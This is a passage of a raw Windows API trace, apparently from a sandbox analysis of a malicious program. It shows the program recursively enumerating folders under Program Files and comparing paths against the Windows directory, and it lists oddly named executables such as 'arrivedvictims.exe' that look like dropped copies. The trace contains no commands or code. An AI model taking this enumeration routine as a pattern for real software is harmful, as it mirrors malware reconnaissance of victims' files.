(in: hFindFile=0x4532380, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xece6534e, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xece6534e, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Mail", cAlternateFileName="WINDOW~2")) returned 1 [0192.728] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0192.728] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d728c0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d728c0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d728c0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoe.dll", cAlternateFileName="")) returned 1 [0192.729] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0192.729] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc4b317b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6ec21fe, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0192.735] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0192.735] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc52a386, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Icons", cAlternateFileName="")) returned 1 [0192.735] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0192.735] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc580db4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6ec21fe, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Renderer", cAlternateFileName="MEDIAR~1")) returned 1 [0192.739] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0192.739] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa43ac3a6, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xab521500, ftLastWriteTime.dwHighDateTime=0x1d29fa1, nFileSizeHigh=0x0, nFileSizeLow=0x28200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpvis.DLL", cAlternateFileName="")) returned 1 [0192.740] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0192.740] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4386148, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x734ad200, ftLastWriteTime.dwHighDateTime=0x1d29fa1, nFileSizeHigh=0x0, nFileSizeLow=0x1b8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup_wm.exe", cAlternateFileName="")) returned 1 [0192.741] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0192.741] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6ec21fe, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc5831ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6ec21fe, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visualizations", cAlternateFileName="VISUAL~1")) returned 1 [0192.741] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0192.741] FindNextFileW (in: hFindFile=0x4532300, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe81e0c00, ftLastWriteTime.dwHighDateTime=0x1d29fa1, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmlaunch.exe", cAlternateFileName="")) returned 1 [0192.742] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0192.742] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xece6534e, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xece6534e, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Multimedia Platform", cAlternateFileName="WINDOW~3")) returned 1 [0192.746] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0192.746] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xece3f11a, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xece3f11a, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows NT", cAlternateFileName="WINDOW~4")) returned 1 [0192.749] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0192.749] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x480bd806, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xdc94812c, ftLastAccessTime.dwHighDateTime=0x1d2fa0c, ftLastWriteTime.dwLowDateTime=0x480bd806, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x417c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wordpad.exe", cAlternateFileName="")) returned 1 [0192.750] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0192.750] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd6b98b0, ftCreationTime.dwHighDateTime=0x1d52d70, ftLastAccessTime.dwLowDateTime=0xceaae4e0, ftLastAccessTime.dwHighDateTime=0x1d52001, ftLastWriteTime.dwLowDateTime=0xceaae4e0, ftLastWriteTime.dwHighDateTime=0x1d52001, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="romandisclosure.exe", cAlternateFileName="ROMAND~1.EXE")) returned 1 [0192.752] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458a6d8 | out: hHeap=0x710000) returned 1 [0192.752] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x776fe01f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x776fe01f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x776fe01f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x97a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextService.dll", cAlternateFileName="")) returned 1 [0192.753] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45656d0 | out: hHeap=0x710000) returned 1 [0192.753] FindNextFileW (in: hFindFile=0x4531f80, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc5e3ac7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 0 [0192.832] FindClose (in: hFindFile=0x4531f80 | out: hFindFile=0x4531f80) returned 1 [0192.833] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0192.833] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xece3f11a, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xece3f11a, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Photo Viewer", cAlternateFileName="WI8A19~1")) returned 1 [0192.833] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Photo Viewer") returned 43 [0192.833] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Windows Photo Viewer") returned 1 [0192.833] lstrlenW (lpString="Windows Photo Viewer") returned 20 [0192.833] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Windows Photo Viewer") returned -1 [0192.833] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x45446b8 [0192.833] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Photo Viewer") returned 43 [0192.833] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xece3f11a, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xece3f11a, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4532280 [0192.944] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xece3f11a, ftLastAccessTime.dwHighDateTime=0x1d5359a, ftLastWriteTime.dwLowDateTime=0xece3f11a, ftLastWriteTime.dwHighDateTime=0x1d5359a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.944] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54edb190, ftCreationTime.dwHighDateTime=0x1d4edee, ftLastAccessTime.dwLowDateTime=0xe6c9a7e0, ftLastAccessTime.dwHighDateTime=0x1d4d44e, ftLastWriteTime.dwLowDateTime=0xe6c9a7e0, ftLastWriteTime.dwHighDateTime=0x1d4d44e, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="arrivedvictims.exe", cAlternateFileName="ARRIVE~1.EXE")) returned 1 [0192.944] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc659d40, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0192.944] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x45b9750 [0192.945] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US") returned 49 [0192.945] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\*", lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc659d40, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4532080 [0192.945] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc659d40, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0192.946] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4094d875, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xedd4200, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ImagingDevices.exe.mui", cAlternateFileName="")) returned 1 [0192.946] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4116d1f6, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xedd4200, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PhotoAcq.dll.mui", cAlternateFileName="")) returned 1 [0192.946] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4116d1f6, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xedd4200, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PhotoViewer.dll.mui", cAlternateFileName="")) returned 1 [0192.946] FindNextFileW (in: hFindFile=0x4532080, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4116d1f6, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7dc8925d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xedd4200, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PhotoViewer.dll.mui", cAlternateFileName="")) returned 0 [0192.946] FindClose (in: hFindFile=0x4532080 | out: hFindFile=0x4532080) returned 1 [0192.946] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0192.946] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cfdb9c3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9cfdb9c3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9cfdb9c3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x19340, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 1 [0192.946] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7963430c, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x7963430c, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x7965a52d, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x1de400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingEngine.dll", cAlternateFileName="")) returned 1 [0192.947] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cfdb9c3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9cfdb9c3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9cfdb9c3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x194200, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoAcq.dll", cAlternateFileName="")) returned 1 [0192.947] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cf69289, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9cf69289, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9cf69289, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9200, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoBase.dll", cAlternateFileName="")) returned 1 [0192.947] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ab5edf1, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x18f7d52f, ftLastAccessTime.dwHighDateTime=0x1d2fa0d, ftLastWriteTime.dwLowDateTime=0x4ab5edf1, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x17ce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll", cAlternateFileName="")) returned 1 [0192.947] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ab5edf1, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x18f7d52f, ftLastAccessTime.dwHighDateTime=0x1d2fa0d, ftLastWriteTime.dwLowDateTime=0x4ab5edf1, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x17ce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll", cAlternateFileName="")) returned 0 [0192.947] FindClose (in: hFindFile=0x4532280 | out: hFindFile=0x4532280) returned 1 [0192.947] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45446b8 | out: hHeap=0x710000) returned 1 [0192.947] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65a42d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a75a324, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0192.947] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x45b9750 [0192.947] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Portable Devices") returned 47 [0192.947] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Portable Devices\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65a42d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a75a324, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4532280 [0192.948] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65a42d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a75a324, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.948] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x955ce979, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x955ce979, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x955ce979, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa7d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0192.948] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x955ce979, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x955ce979, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x955ce979, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa7d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0 [0192.948] FindClose (in: hFindFile=0x4532280 | out: hFindFile=0x4532280) returned 1 [0192.948] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45b9750 | out: hHeap=0x710000) returned 1 [0192.948] FindNextFileW (in: hFindFile=0x4532380, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65a9e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0192.948] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x45b9750 [0192.948] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar") returned 38 [0192.948] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\*", lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65a9e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4532280 [0192.949] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65a9e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.949] FindNextFileW (in: hFindFile=0x4532280, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, 